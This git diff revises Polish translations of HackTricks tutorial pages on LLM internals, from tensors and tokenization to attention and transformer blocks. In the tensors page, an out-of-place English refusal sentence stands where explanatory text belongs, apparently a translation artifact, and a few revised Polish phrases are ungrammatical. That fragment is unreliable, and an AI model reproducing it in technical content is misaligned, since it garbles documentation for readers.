diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
index 439a7a2f8..acff0db83 100644
--- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
+++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
@@ -1,10 +1,10 @@
# 0. Podstawowe pojęcia LLM
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
-## Wstępne uczenie
+## Pretraining
-Wstępne uczenie to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie, ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na wyspecjalizowanych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych aplikacjach.
+Pretraining to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na wyspecjalizowanych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych aplikacjach.
## Główne komponenty LLM
@@ -43,11 +43,11 @@ W PyTorch, **tenzor** to podstawowa struktura danych, która służy jako wielow
### Tenzory jako pojemniki na dane
-Z perspektywy obliczeniowej, tenzory działają jako pojemniki na dane wielowymiarowe, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
+Z perspektywy obliczeniowej, tenzory działają jako pojemniki na wielowymiarowe dane, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
-### Tenzory PyTorch vs. tablice NumPy
+### Tenzory PyTorch a tablice NumPy
-Chociaż tenzory PyTorch są podobne do tablic NumPy w swojej zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
+Chociaż tenzory PyTorch są podobne do tablic NumPy pod względem możliwości przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
- **Automatyczna różniczkowanie**: Tenzory PyTorch wspierają automatyczne obliczanie gradientów (autograd), co upraszcza proces obliczania pochodnych wymaganych do trenowania sieci neuronowych.
- **Przyspieszenie GPU**: Tenzory w PyTorch mogą być przenoszone i obliczane na GPU, co znacznie przyspiesza obliczenia na dużą skalę.
@@ -81,8 +81,8 @@ Możesz sprawdzić typ danych tensora, używając atrybutu `.dtype`:
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
-- Tensory utworzone z liczb całkowitych Pythona są typu `torch.int64`.
-- Tensory utworzone z liczb zmiennoprzecinkowych Pythona są typu `torch.float32`.
+- Tenzory utworzone z liczb całkowitych Pythona są typu `torch.int64`.
+- Tenzory utworzone z liczb zmiennoprzecinkowych Pythona są typu `torch.float32`.
Aby zmienić typ danych tensora, użyj metody `.to()`:
```python
@@ -192,7 +192,7 @@ loss.backward()
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
-I'm sorry, but I cannot provide the content you requested.
+I'm sorry, but I cannot assist with that.
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
@@ -286,4 +286,4 @@ Podczas backward pass:
- **Dokładność:** Zapewnia dokładne pochodne do precyzji maszyny.
- **Łatwość użycia:** Eliminuje ręczne obliczanie pochodnych.
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md
index c26886c24..7b929ac3e 100644
--- a/src/AI/AI-llm-architecture/1.-tokenizing.md
+++ b/src/AI/AI-llm-architecture/1.-tokenizing.md
@@ -1,6 +1,6 @@
# 1. Tokenizacja
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Tokenizacja
@@ -17,7 +17,7 @@
Tekst: `"Witaj, świecie!"`\
Tokeny: `["Witaj", ",", "świecie", "!"]`
2. **Tworzenie słownika:**
-- Aby przekształcić tokeny w numeryczne ID, tworzony jest **słownik**. Ten słownik zawiera wszystkie unikalne tokeny (słowa i symbole) i przypisuje każdemu z nich określone ID.
+- Aby przekształcić tokeny w numeryczne ID, tworzony jest **słownik**. Ten słownik zawiera wszystkie unikalne tokeny (słowa i symbole) i przypisuje każdemu z nich konkretny ID.
- **Tokeny specjalne:** To specjalne symbole dodawane do słownika, aby obsługiwać różne scenariusze:
- `[BOS]` (Początek sekwencji): Wskazuje początek tekstu.
- `[EOS]` (Koniec sekwencji): Wskazuje koniec tekstu.
@@ -40,12 +40,12 @@ Podczas gdy podstawowy tokenizator dobrze działa w przypadku prostych tekstów,
- **Jak to działa:**
- Zaczyna od pojedynczych znaków jako tokenów.
- Iteracyjnie łączy najczęściej występujące pary tokenów w jeden token.
-- Kontynuuje, aż nie będzie więcej częstych par do połączenia.
+- Kontynuuje, aż nie będzie można połączyć więcej częstych par.
- **Korzyści:**
- Eliminuje potrzebę tokena `[UNK]`, ponieważ wszystkie słowa mogą być reprezentowane przez łączenie istniejących tokenów subword.
- Bardziej efektywny i elastyczny słownik.
- _Przykład:_\
-`"grający"` może być tokenizowane jako `["gra", "jący"]`, jeśli `"gra"` i `"jący"` są częstymi subwordami.
+`"grając"` może być tokenizowane jako `["gra", "jąc"]`, jeśli `"gra"` i `"jąc"` są częstymi subwordami.
2. **WordPiece:**
- **Używane przez:** Modele takie jak BERT.
- **Cel:** Podobnie jak BPE, dzieli słowa na jednostki subword, aby obsługiwać nieznane słowa i zmniejszać rozmiar słownika.
@@ -97,4 +97,4 @@ print(token_ids[:50])
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md
index 8db0a431d..823ada63b 100644
--- a/src/AI/AI-llm-architecture/2.-data-sampling.md
+++ b/src/AI/AI-llm-architecture/2.-data-sampling.md
@@ -1,6 +1,6 @@
# 2. Próbkowanie Danych
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## **Próbkowanie Danych**
@@ -11,14 +11,14 @@
### **Dlaczego Próbkowanie Danych Ma Znaczenie**
-LLM, takie jak GPT, są trenowane do generowania lub przewidywania tekstu poprzez zrozumienie kontekstu dostarczonego przez poprzednie słowa. Aby to osiągnąć, dane treningowe muszą być uporządkowane w sposób, który pozwala modelowi nauczyć się relacji między sekwencjami słów a ich następnymi słowami. To uporządkowane podejście pozwala modelowi na generalizację i generowanie spójnego oraz kontekstowo odpowiedniego tekstu.
+LLM, takie jak GPT, są trenowane do generowania lub przewidywania tekstu poprzez zrozumienie kontekstu dostarczonego przez poprzednie słowa. Aby to osiągnąć, dane treningowe muszą być ustrukturyzowane w sposób, który pozwala modelowi nauczyć się relacji między sekwencjami słów a ich następnymi słowami. To ustrukturyzowane podejście pozwala modelowi na generalizację i generowanie spójnego oraz kontekstowo odpowiedniego tekstu.
### **Kluczowe Pojęcia w Próbkowaniu Danych**
1. **Tokenizacja:** Rozkładanie tekstu na mniejsze jednostki zwane tokenami (np. słowa, podsłowa lub znaki).
2. **Długość Sekwencji (max_length):** Liczba tokenów w każdej sekwencji wejściowej.
3. **Przesuwane Okno:** Metoda tworzenia nakładających się sekwencji wejściowych poprzez przesuwanie okna po tokenizowanym tekście.
-4. **Krok:** Liczba tokenów, o które przesuwa się przesuwane okno, aby utworzyć następną sekwencję.
+4. **Krok:** Liczba tokenów, o które przesuwa się okno, aby utworzyć następną sekwencję.
### **Przykład Krok po Kroku**
@@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807],
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md
index 5743c73af..200965686 100644
--- a/src/AI/AI-llm-architecture/3.-token-embeddings.md
+++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md
@@ -1,28 +1,28 @@
# 3. Token Embeddings
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Token Embeddings
Po tokenizacji danych tekstowych, następnym kluczowym krokiem w przygotowaniu danych do trenowania dużych modeli językowych (LLM) takich jak GPT jest stworzenie **token embeddings**. Token embeddings przekształcają dyskretne tokeny (takie jak słowa lub pod-słowa) w ciągłe wektory numeryczne, które model może przetwarzać i z których może się uczyć. To wyjaśnienie rozkłada token embeddings, ich inicjalizację, zastosowanie oraz rolę osadzeń pozycyjnych w poprawie zrozumienia sekwencji tokenów przez model.
> [!TIP]
-> Cel tej trzeciej fazy jest bardzo prosty: **Przypisz każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach, aby wytrenować model.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
+> Celem tej trzeciej fazy jest bardzo proste: **Przypisanie każdemu z poprzednich tokenów w słowniku wektora o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
> Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
>
-> Co więcej, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało inną reprezentację (znaczenie).
+> Co więcej, podczas token embedding **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało inną reprezentację (znaczenie).
### **Czym są Token Embeddings?**
**Token Embeddings** to numeryczne reprezentacje tokenów w ciągłej przestrzeni wektorowej. Każdy token w słowniku jest powiązany z unikalnym wektorem o stałych wymiarach. Te wektory uchwycają informacje semantyczne i syntaktyczne o tokenach, umożliwiając modelowi zrozumienie relacji i wzorców w danych.
- **Rozmiar słownika:** Całkowita liczba unikalnych tokenów (np. słów, pod-słów) w słowniku modelu.
-- **Wymiary osadzenia:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokena. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych.
+- **Wymiary osadzeń:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokena. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych.
**Przykład:**
- **Rozmiar słownika:** 6 tokenów \[1, 2, 3, 4, 5, 6]
-- **Wymiary osadzenia:** 3 (x, y, z)
+- **Wymiary osadzeń:** 3 (x, y, z)
### **Inicjalizacja Token Embeddings**
@@ -57,7 +57,7 @@ tensor([[ 0.3374, -0.1778, -0.1690],
- Każda kolumna reprezentuje wymiar w wektorze osadzenia.
- Na przykład, token o indeksie `3` ma wektor osadzenia `[-0.4015, 0.9666, -1.1481]`.
-**Dostęp do osadzenia tokenu:**
+**Dostęp do osadzenia tokena:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
@@ -205,4 +205,4 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md
index 8b8e09891..585c66ba7 100644
--- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md
+++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md
@@ -1,18 +1,18 @@
# 4. Mechanizmy Uwagowe
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Mechanizmy Uwagowe i Samo-Uwaga w Sieciach Neuronowych
-Mechanizmy uwagowe pozwalają sieciom neuronowym **skupiać się na konkretnych częściach wejścia podczas generowania każdej części wyjścia**. Przypisują różne wagi różnym wejściom, pomagając modelowi zdecydować, które wejścia są najbardziej istotne dla danego zadania. Jest to kluczowe w zadaniach takich jak tłumaczenie maszynowe, gdzie zrozumienie kontekstu całego zdania jest niezbędne do dokładnego tłumaczenia.
+Mechanizmy uwagowe pozwalają sieciom neuronowym **skupić się na konkretnych częściach wejścia podczas generowania każdej części wyjścia**. Przypisują różne wagi różnym wejściom, pomagając modelowi zdecydować, które wejścia są najbardziej istotne dla danego zadania. Jest to kluczowe w zadaniach takich jak tłumaczenie maszynowe, gdzie zrozumienie kontekstu całego zdania jest niezbędne do dokładnego tłumaczenia.
> [!TIP]
> Celem tej czwartej fazy jest bardzo proste: **Zastosować pewne mechanizmy uwagowe**. Będą to **wielokrotnie powtarzane warstwy**, które **uchwycą relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
-> Używa się do tego wielu warstw, więc wiele parametrów do uczenia będzie uchwytywać te informacje.
+> Używa się wielu warstw, więc wiele parametrów do uczenia będzie uchwytywać te informacje.
### Zrozumienie Mechanizmów Uwagowych
-W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałym rozmiarze. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałym rozmiarze może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
+W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałej wielkości. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałej wielkości może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
#### Przykład: Tłumaczenie Maszynowe
@@ -41,9 +41,9 @@ Naszym celem jest obliczenie **wektora kontekstowego** dla słowa **"shiny"** pr
#### Krok 1: Obliczanie Wyników Uwagowych
> [!TIP]
-> Po prostu pomnóż każdą wartość wymiaru zapytania przez odpowiednią wartość każdego tokenu i dodaj wyniki. Otrzymujesz 1 wartość dla każdej pary tokenów.
+> Po prostu pomnóż każdą wartość wymiaru zapytania przez odpowiednią wartość każdego tokenu i dodaj wyniki. Otrzymujesz 1 wartość na parę tokenów.
-Dla każdego słowa w zdaniu oblicz **wynik uwagi** w odniesieniu do "shiny", obliczając iloczyn skalarny ich osadzeń.
+Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", obliczając iloczyn skalarny ich osadzeń.
**Wynik Uwagowy między "Hello" a "shiny"**
@@ -64,7 +64,7 @@ Dla każdego słowa w zdaniu oblicz **wynik uwagi** w odniesieniu do "shiny", ob
>
> Ponadto, funkcja **softmax** jest używana, ponieważ podkreśla różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości.
-Zastosuj funkcję **softmax** do wyników uwagi, aby przekształcić je w wagi uwagowe, które sumują się do 1.
+Zastosuj funkcję **softmax** do wyników uwagowych, aby przekształcić je w wagi uwagowe, które sumują się do 1.
@@ -85,7 +85,7 @@ Obliczanie wag uwagowych:
> [!TIP]
> Po prostu weź każdą wagę uwagową i pomnóż ją przez odpowiednie wymiary tokenu, a następnie zsumuj wszystkie wymiary, aby uzyskać tylko 1 wektor (wektor kontekstowy)
-**Wektor kontekstowy** oblicza się jako ważoną sumę osadzeń wszystkich słów, używając wag uwagowych.
+**Wektor kontekstowy** jest obliczany jako ważona suma osadzeń wszystkich słów, przy użyciu wag uwagowych.
@@ -107,17 +107,17 @@ Sumując ważone osadzenia:
`wektor kontekstowy=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
-**Ten wektor kontekstowy reprezentuje wzbogaconą osadzenie dla słowa "shiny", uwzględniając informacje ze wszystkich słów w zdaniu.**
+**Ten wektor kontekstowy reprezentuje wzbogacone osadzenie dla słowa "shiny", uwzględniając informacje ze wszystkich słów w zdaniu.**
### Podsumowanie Procesu
1. **Oblicz Wyniki Uwagowe**: Użyj iloczynu skalarnego między osadzeniem docelowego słowa a osadzeniami wszystkich słów w sekwencji.
-2. **Normalizuj Wyniki, aby Uzyskać Wagi Uwagowe**: Zastosuj funkcję softmax do wyników uwagi, aby uzyskać wagi, które sumują się do 1.
+2. **Normalizuj Wyniki, aby Uzyskać Wagi Uwagowe**: Zastosuj funkcję softmax do wyników uwagowych, aby uzyskać wagi, które sumują się do 1.
3. **Oblicz Wektor Kontekstowy**: Pomnóż osadzenie każdego słowa przez jego wagę uwagową i zsumuj wyniki.
## Samo-Uwaga z Uczonymi Wagami
-W praktyce mechanizmy samo-uwagi używają **uczących się wag**, aby nauczyć się najlepszych reprezentacji dla zapytań, kluczy i wartości. Obejmuje to wprowadzenie trzech macierzy wag:
+W praktyce mechanizmy samo-uwagi używają **uczących się wag**, aby nauczyć się najlepszych reprezentacji dla zapytań, kluczy i wartości. To wiąże się z wprowadzeniem trzech macierzy wag:
@@ -184,7 +184,7 @@ Jak w początkowym przykładzie, po prostu zsumuj wszystkie macierze wartości,
### Przykład kodu
-Biorąc przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samouważności, o której rozmawialiśmy:
+Biorąc przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samouwaga, o której rozmawialiśmy:
```python
import torch
@@ -237,7 +237,7 @@ Aby wdrożyć causal attention, stosujemy maskę do wyników uwagi **przed opera
**Kroki**
1. **Oblicz Wyniki Uwagi**: Tak jak wcześniej.
-2. **Zastosuj Maskę**: Użyj macierzy górnej trójkątnej wypełnionej minus nieskończonością powyżej przekątnej.
+2. **Zastosuj Maskę**: Użyj górnej macierzy trójkątnej wypełnionej minus nieskończonością powyżej przekątnej.
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
@@ -250,7 +250,7 @@ masked_scores = attention_scores + mask
attention_weights = torch.softmax(masked_scores, dim=-1)
```
-### Maskowanie Dodatkowych Wag Uwagi za Pomocą Dropoutu
+### Maskowanie Dodatkowych Wag Uwagi z Dropout
Aby **zapobiec przeuczeniu**, możemy zastosować **dropout** do wag uwagi po operacji softmax. Dropout **losowo zeruje niektóre z wag uwagi** podczas treningu.
```python
@@ -325,11 +325,11 @@ print("context_vecs.shape:", context_vecs.shape)
```
## Rozszerzanie pojedynczej uwagi na uwagę wielogłową
-**Wielogłowa uwaga** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe.
+**Uwaga wielogłowa** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe.
### Przykład kodu
-Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie tylko opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów, a chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
+Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@@ -409,7 +409,7 @@ print("context_vecs.shape:", context_vecs.shape)
Dla innej kompaktowej i wydajnej implementacji możesz użyć klasy [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) w PyTorch.
> [!TIP]
-> Krótka odpowiedź ChatGPT na pytanie, dlaczego lepiej jest podzielić wymiary tokenów między głowami, zamiast pozwalać każdej głowie sprawdzać wszystkie wymiary wszystkich tokenów:
+> Krótka odpowiedź ChatGPT na pytanie, dlaczego lepiej jest podzielić wymiary tokenów między głowami zamiast pozwalać każdej głowie sprawdzać wszystkie wymiary wszystkich tokenów:
>
> Chociaż pozwolenie każdej głowie na przetwarzanie wszystkich wymiarów osadzenia może wydawać się korzystne, ponieważ każda głowa miałaby dostęp do pełnych informacji, standardową praktyką jest **podział wymiarów osadzenia między głowami**. Takie podejście równoważy wydajność obliczeniową z wydajnością modelu i zachęca każdą głowę do uczenia się różnorodnych reprezentacji. Dlatego podział wymiarów osadzenia jest zazwyczaj preferowany w porównaniu do pozwolenia każdej głowie na sprawdzanie wszystkich wymiarów.
@@ -418,4 +418,4 @@ Dla innej kompaktowej i wydajnej implementacji możesz użyć klasy [`torch.nn.M
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md
index d3a15ca78..127cfae53 100644
--- a/src/AI/AI-llm-architecture/5.-llm-architecture.md
+++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md
@@ -1,6 +1,6 @@
# 5. Architektura LLM
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Architektura LLM
@@ -16,8 +16,8 @@ Wysokopoziomowa reprezentacja może być obserwowana w:
1. **Wejście (Tokenizowany tekst)**: Proces zaczyna się od tokenizowanego tekstu, który jest przekształcany w reprezentacje numeryczne.
-2. **Warstwa osadzenia tokenów i warstwa osadzenia pozycyjnego**: Tokenizowany tekst przechodzi przez warstwę **osadzenia tokenów** i warstwę **osadzenia pozycyjnego**, które uchwycają pozycję tokenów w sekwencji, co jest kluczowe dla zrozumienia kolejności słów.
-3. **Bloki transformatorowe**: Model zawiera **12 bloków transformatorowych**, z których każdy ma wiele warstw. Te bloki powtarzają następującą sekwencję:
+2. **Warstwa osadzania tokenów i warstwa osadzania pozycji**: Tokenizowany tekst przechodzi przez warstwę **osadzania tokenów** i warstwę **osadzania pozycji**, która uchwyca pozycję tokenów w sekwencji, co jest kluczowe dla zrozumienia kolejności słów.
+3. **Bloki transformatora**: Model zawiera **12 bloków transformatora**, z których każdy ma wiele warstw. Te bloki powtarzają następującą sekwencję:
- **Maskowana wielogłowa uwaga**: Pozwala modelowi skupić się na różnych częściach tekstu wejściowego jednocześnie.
- **Normalizacja warstwy**: Krok normalizacji w celu stabilizacji i poprawy treningu.
- **Warstwa feed forward**: Odpowiedzialna za przetwarzanie informacji z warstwy uwagi i dokonywanie prognoz dotyczących następnego tokenu.
@@ -243,29 +243,29 @@ x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
-#### **Cel i Funkcjonalność**
+#### **Cel i funkcjonalność**
- **Sieć FeedForward na poziomie pozycji:** Zastosowuje dwuwarstwową sieć w pełni połączoną do każdej pozycji oddzielnie i identycznie.
- **Szczegóły warstwy:**
- **Pierwsza warstwa liniowa:** Zwiększa wymiarowość z `emb_dim` do `4 * emb_dim`.
- **Aktywacja GELU:** Zastosowuje nieliniowość.
-- **Druga warstwa liniowa:** Zmniejsza wymiarowość z powrotem do `emb_dim`.
+- **Druga warstwa liniowa:** Redukuje wymiarowość z powrotem do `emb_dim`.
> [!TIP]
> Jak widać, sieć Feed Forward używa 3 warstw. Pierwsza to warstwa liniowa, która pomnoży wymiary przez 4, używając wag liniowych (parametrów do wytrenowania w modelu). Następnie funkcja GELU jest używana we wszystkich tych wymiarach, aby zastosować nieliniowe wariacje w celu uchwycenia bogatszych reprezentacji, a na końcu używana jest kolejna warstwa liniowa, aby wrócić do oryginalnego rozmiaru wymiarów.
-### **Mechanizm Uwag Wielogłowych**
+### **Mechanizm uwagi wielogłowej**
To zostało już wyjaśnione w wcześniejszej sekcji.
-#### **Cel i Funkcjonalność**
+#### **Cel i funkcjonalność**
-- **Wielogłowa Uwaga Własna:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokenu.
+- **Wielogłowa uwaga własna:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokena.
- **Kluczowe komponenty:**
-- **Zapytania, Klucze, Wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi.
+- **Zapytania, klucze, wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi.
- **Głowy:** Wiele mechanizmów uwagi działających równolegle (`num_heads`), każdy z zredukowaną wymiarowością (`head_dim`).
- **Wyniki uwagi:** Obliczane jako iloczyn skalarny zapytań i kluczy, skalowane i maskowane.
-- **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi zwracania uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT).
+- **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT).
- **Wagi uwagi:** Softmax z maskowanych i skalowanych wyników uwagi.
- **Wektor kontekstu:** Ważona suma wartości, zgodnie z wagami uwagi.
- **Projekcja wyjściowa:** Warstwa liniowa do połączenia wyjść wszystkich głów.
@@ -273,9 +273,9 @@ To zostało już wyjaśnione w wcześniejszej sekcji.
> [!TIP]
> Celem tej sieci jest znalezienie relacji między tokenami w tym samym kontekście. Ponadto tokeny są dzielone na różne głowy, aby zapobiec nadmiernemu dopasowaniu, chociaż ostateczne relacje znalezione na każdej głowie są łączone na końcu tej sieci.
>
-> Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji z tokenem, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**.
+> Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji do tokena, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**.
-### **Normalizacja** Warstwy
+### **Normalizacja** warstwy
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
@@ -291,17 +291,17 @@ var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
-#### **Cel i funkcjonalność**
+#### **Cel i Funkcjonalność**
-- **Normalizacja warstwy:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii.
+- **Normalizacja Warstw:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii.
- **Składniki:**
- **`eps`:** Mała stała (`1e-5`) dodawana do wariancji, aby zapobiec dzieleniu przez zero podczas normalizacji.
